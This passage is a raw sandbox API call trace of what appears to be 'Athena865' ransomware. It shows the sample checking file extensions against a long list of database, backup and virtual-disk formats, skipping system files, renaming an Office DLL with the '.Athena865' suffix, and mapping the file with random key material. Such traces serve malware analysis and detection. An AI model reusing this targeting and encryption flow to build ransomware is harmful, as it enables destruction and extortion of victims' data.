[0083.274] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0083.274] lstrlenW (lpString="abs") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0083.274] lstrlenW (lpString="abx") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0083.274] lstrlenW (lpString="accdb") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0083.274] lstrlenW (lpString="accdc") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0083.274] lstrlenW (lpString="accde") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0083.274] lstrlenW (lpString="accdr") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0083.274] lstrlenW (lpString="accdt") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0083.274] lstrlenW (lpString="accdw") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0083.274] lstrlenW (lpString="accft") returned 5 [0083.274] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0083.274] lstrlenW (lpString="adb") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.274] lstrlenW (lpString="adb") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.274] lstrlenW (lpString="ade") returned 3 [0083.274] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0083.274] lstrlenW (lpString="adf") returned 3 [0083.275] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0083.275] lstrlenW (lpString="adn") returned 3 [0083.275] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0083.275] lstrlenW (lpString="adp") returned 3 [0083.275] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0083.275] lstrlenW (lpString="alf") returned 3 [0083.275] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0083.275] lstrlenW (lpString="ask") returned 3 [0083.275] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0083.275] lstrlenW (lpString="btr") returned 3 [0083.275] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0083.275] lstrlenW (lpString="cat") returned 3 [0083.276] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0083.276] lstrlenW (lpString="cdb") returned 3 [0083.276] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0083.276] lstrlenW (lpString="ckp") returned 3 [0083.276] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0083.276] lstrlenW (lpString="cma") returned 3 [0083.276] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0083.276] lstrlenW (lpString="cpd") returned 3 [0083.276] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0083.276] lstrlenW (lpString="dacpac") returned 6 [0083.276] lstrlenW (lpString="dad") returned 3 [0083.276] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0083.276] lstrlenW (lpString="dadiagrams") returned 10 [0083.277] lstrlenW (lpString="daschema") returned 8 [0083.277] lstrlenW (lpString="db-journal") returned 10 [0083.277] lstrlenW (lpString="db-shm") returned 6 [0083.277] lstrlenW (lpString="db-wal") returned 6 [0083.277] lstrlenW (lpString="dbc") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0083.277] lstrlenW (lpString="dbs") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0083.277] lstrlenW (lpString="dbt") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0083.277] lstrlenW (lpString="dbv") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0083.277] lstrlenW (lpString="dbx") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0083.277] lstrlenW (lpString="dcb") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0083.277] lstrlenW (lpString="dct") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0083.277] lstrlenW (lpString="dcx") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0083.277] lstrlenW (lpString="ddl") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0083.277] lstrlenW (lpString="dlis") returned 4 [0083.277] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0083.277] lstrlenW (lpString="dp1") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0083.277] lstrlenW (lpString="dqy") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0083.277] lstrlenW (lpString="dsk") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0083.277] lstrlenW (lpString="dsn") returned 3 [0083.277] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0083.278] lstrlenW (lpString="dtsx") returned 4 [0083.278] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0083.278] lstrlenW (lpString="dxl") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0083.278] lstrlenW (lpString="eco") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0083.278] lstrlenW (lpString="ecx") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.278] lstrlenW (lpString="edb") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.278] lstrlenW (lpString="epim") returned 4 [0083.278] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.278] lstrlenW (lpString="fcd") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.278] lstrlenW (lpString="fdb") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0083.278] lstrlenW (lpString="fic") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0083.278] lstrlenW (lpString="flexolibrary") returned 12 [0083.278] lstrlenW (lpString="fm5") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0083.278] lstrlenW (lpString="fmp") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0083.278] lstrlenW (lpString="fmp12") returned 5 [0083.278] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0083.278] lstrlenW (lpString="fmpsl") returned 5 [0083.278] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0083.278] lstrlenW (lpString="fol") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0083.278] lstrlenW (lpString="fp3") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0083.278] lstrlenW (lpString="fp4") returned 3 [0083.278] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0083.278] lstrlenW (lpString="fp5") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0083.279] lstrlenW (lpString="fp7") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0083.279] lstrlenW (lpString="fpt") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0083.279] lstrlenW (lpString="frm") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0083.279] lstrlenW (lpString="gdb") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.279] lstrlenW (lpString="gdb") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.279] lstrlenW (lpString="grdb") returned 4 [0083.279] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0083.279] lstrlenW (lpString="gwi") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0083.279] lstrlenW (lpString="hdb") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0083.279] lstrlenW (lpString="his") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0083.279] lstrlenW (lpString="ib") returned 2 [0083.279] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0083.279] lstrlenW (lpString="idb") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0083.279] lstrlenW (lpString="ihx") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0083.279] lstrlenW (lpString="itdb") returned 4 [0083.279] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0083.279] lstrlenW (lpString="itw") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0083.279] lstrlenW (lpString="jet") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0083.279] lstrlenW (lpString="jtx") returned 3 [0083.279] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0083.279] lstrlenW (lpString="kdb") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0083.280] lstrlenW (lpString="kexi") returned 4 [0083.280] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0083.280] lstrlenW (lpString="kexic") returned 5 [0083.280] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0083.280] lstrlenW (lpString="kexis") returned 5 [0083.280] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0083.280] lstrlenW (lpString="lgc") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0083.280] lstrlenW (lpString="lwx") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0083.280] lstrlenW (lpString="maf") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0083.280] lstrlenW (lpString="maq") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0083.280] lstrlenW (lpString="mar") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0083.280] lstrlenW (lpString="marshal") returned 7 [0083.280] lstrlenW (lpString="mas") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0083.280] lstrlenW (lpString="mav") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0083.280] lstrlenW (lpString="maw") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0083.280] lstrlenW (lpString="mdbhtml") returned 7 [0083.280] lstrlenW (lpString="mdn") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0083.280] lstrlenW (lpString="mdt") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0083.280] lstrlenW (lpString="mfd") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0083.280] lstrlenW (lpString="mpd") returned 3 [0083.280] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0083.280] lstrlenW (lpString="mrg") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0083.281] lstrlenW (lpString="mud") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0083.281] lstrlenW (lpString="mwb") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0083.281] lstrlenW (lpString="myd") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0083.281] lstrlenW (lpString="ndf") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0083.281] lstrlenW (lpString="nnt") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0083.281] lstrlenW (lpString="nrmlib") returned 6 [0083.281] lstrlenW (lpString="ns2") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0083.281] lstrlenW (lpString="ns3") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0083.281] lstrlenW (lpString="ns4") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0083.281] lstrlenW (lpString="nsf") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0083.281] lstrlenW (lpString="nv") returned 2 [0083.281] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0083.281] lstrlenW (lpString="nv2") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0083.281] lstrlenW (lpString="nwdb") returned 4 [0083.281] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0083.281] lstrlenW (lpString="nyf") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0083.281] lstrlenW (lpString="odb") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.281] lstrlenW (lpString="odb") returned 3 [0083.281] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.281] lstrlenW (lpString="oqy") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0083.282] lstrlenW (lpString="ora") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0083.282] lstrlenW (lpString="orx") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0083.282] lstrlenW (lpString="owc") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0083.282] lstrlenW (lpString="p96") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0083.282] lstrlenW (lpString="p97") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0083.282] lstrlenW (lpString="pan") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0083.282] lstrlenW (lpString="pdb") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0083.282] lstrlenW (lpString="pdm") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0083.282] lstrlenW (lpString="pnz") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0083.282] lstrlenW (lpString="qry") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0083.282] lstrlenW (lpString="qvd") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0083.282] lstrlenW (lpString="rbf") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0083.282] lstrlenW (lpString="rctd") returned 4 [0083.282] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0083.282] lstrlenW (lpString="rod") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0083.282] lstrlenW (lpString="rodx") returned 4 [0083.282] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0083.282] lstrlenW (lpString="rpd") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0083.282] lstrlenW (lpString="rsd") returned 3 [0083.282] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0083.283] lstrlenW (lpString="sas7bdat") returned 8 [0083.283] lstrlenW (lpString="sbf") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0083.283] lstrlenW (lpString="scx") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0083.283] lstrlenW (lpString="sdb") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0083.283] lstrlenW (lpString="sdc") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0083.283] lstrlenW (lpString="sdf") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0083.283] lstrlenW (lpString="sis") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0083.283] lstrlenW (lpString="spq") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0083.283] lstrlenW (lpString="te") returned 2 [0083.283] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0083.283] lstrlenW (lpString="teacher") returned 7 [0083.283] lstrlenW (lpString="tmd") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0083.283] lstrlenW (lpString="tps") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0083.283] lstrlenW (lpString="trc") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.283] lstrlenW (lpString="trc") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.283] lstrlenW (lpString="trm") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0083.283] lstrlenW (lpString="udb") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0083.283] lstrlenW (lpString="udl") returned 3 [0083.283] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0083.283] lstrlenW (lpString="usr") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0083.284] lstrlenW (lpString="v12") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0083.284] lstrlenW (lpString="vis") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0083.284] lstrlenW (lpString="vpd") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0083.284] lstrlenW (lpString="vvv") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0083.284] lstrlenW (lpString="wdb") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0083.284] lstrlenW (lpString="wmdb") returned 4 [0083.284] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0083.284] lstrlenW (lpString="wrk") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0083.284] lstrlenW (lpString="xdb") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0083.284] lstrlenW (lpString="xld") returned 3 [0083.284] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0083.284] lstrlenW (lpString="xmlff") returned 5 [0083.284] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0083.284] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL.Athena865") returned 59 [0083.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pe.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pe.dll.athena865"), dwFlags=0x1) returned 1 [0083.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pe.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0083.286] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=970096) returned 1 [0083.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.286] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.287] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.287] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.287] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed070, lpName=0x0) returned 0x154 [0083.289] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed070) returned 0x2d50000 [0083.332] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.333] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.333] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.333] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0083.342] CloseHandle (hObject=0x154) returned 1 [0083.342] CloseHandle (hObject=0x17c) returned 1 [0083.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.346] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd84cf560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PEOPLEDATAHANDLER.DLL", cAlternateFileName="PEOPLE~1.DLL")) returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2=".") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="..") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="windows") returned -1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="bootmgr") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="temp") returned -1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="pagefile.sys") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="boot") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="ids.txt") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="ntuser.dat") returned 1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="perflogs") returned -1 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2="MSBuild") returned 1 [0083.347] lstrlenW (lpString="PEOPLEDATAHANDLER.DLL") returned 21 [0083.347] lstrcpyW (in: lpString1=0x241e89e, lpString2="PEOPLEDATAHANDLER.DLL" | out: lpString1="PEOPLEDATAHANDLER.DLL") returned="PEOPLEDATAHANDLER.DLL" [0083.347] lstrlenW (lpString="PEOPLEDATAHANDLER.DLL") returned 21 [0083.347] lstrlenW (lpString="Athena865") returned 9 [0083.347] lstrcmpiW (lpString1="NDLER.DLL", lpString2="Athena865") returned 1 [0083.347] lstrlenW (lpString=".dll") returned 4 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2=".dll") returned 1 [0083.347] lstrlenW (lpString=".lnk") returned 4 [0083.347] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2=".lnk") returned 1 [0083.348] lstrlenW (lpString=".ini") returned 4 [0083.348] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2=".ini") returned 1 [0083.348] lstrlenW (lpString=".sys") returned 4 [0083.348] lstrcmpiW (lpString1="PEOPLEDATAHANDLER.DLL", lpString2=".sys") returned 1 [0083.348] lstrlenW (lpString="PEOPLEDATAHANDLER.DLL") returned 21 [0083.348] lstrlenW (lpString="bak") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0083.348] lstrlenW (lpString="ba_") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0083.348] lstrlenW (lpString="dbb") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0083.348] lstrlenW (lpString="vmdk") returned 4 [0083.348] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0083.348] lstrlenW (lpString="rar") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0083.348] lstrlenW (lpString="zip") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0083.348] lstrlenW (lpString="tgz") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0083.348] lstrlenW (lpString="vbox") returned 4 [0083.348] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0083.348] lstrlenW (lpString="vdi") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0083.348] lstrlenW (lpString="vhd") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0083.348] lstrlenW (lpString="vhdx") returned 4 [0083.348] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0083.348] lstrlenW (lpString="avhd") returned 4 [0083.348] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0083.348] lstrlenW (lpString="db") returned 2 [0083.348] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0083.348] lstrlenW (lpString="db2") returned 3 [0083.348] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0083.348] lstrlenW (lpString="db3") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0083.349] lstrlenW (lpString="dbf") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0083.349] lstrlenW (lpString="mdf") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0083.349] lstrlenW (lpString="mdb") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0083.349] lstrlenW (lpString="sql") returned 3 [0083.349] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0083.349] lstrlenW (lpString="sqlite") returned 6 [0083.349] lstrcmpiW (lpString1="ER.DLL", lpString2="sqlite") returned -1 [0083.349] lstrlenW (lpString="sqlite3") returned 7 [0083.349] lstrcmpiW (lpString1="LER.DLL", lpString2="sqlite3") returned -1 [0083.349] lstrlenW (lpString="sqlitedb") returned 8 [0083.349] lstrcmpiW (lpString1="DLER.DLL", 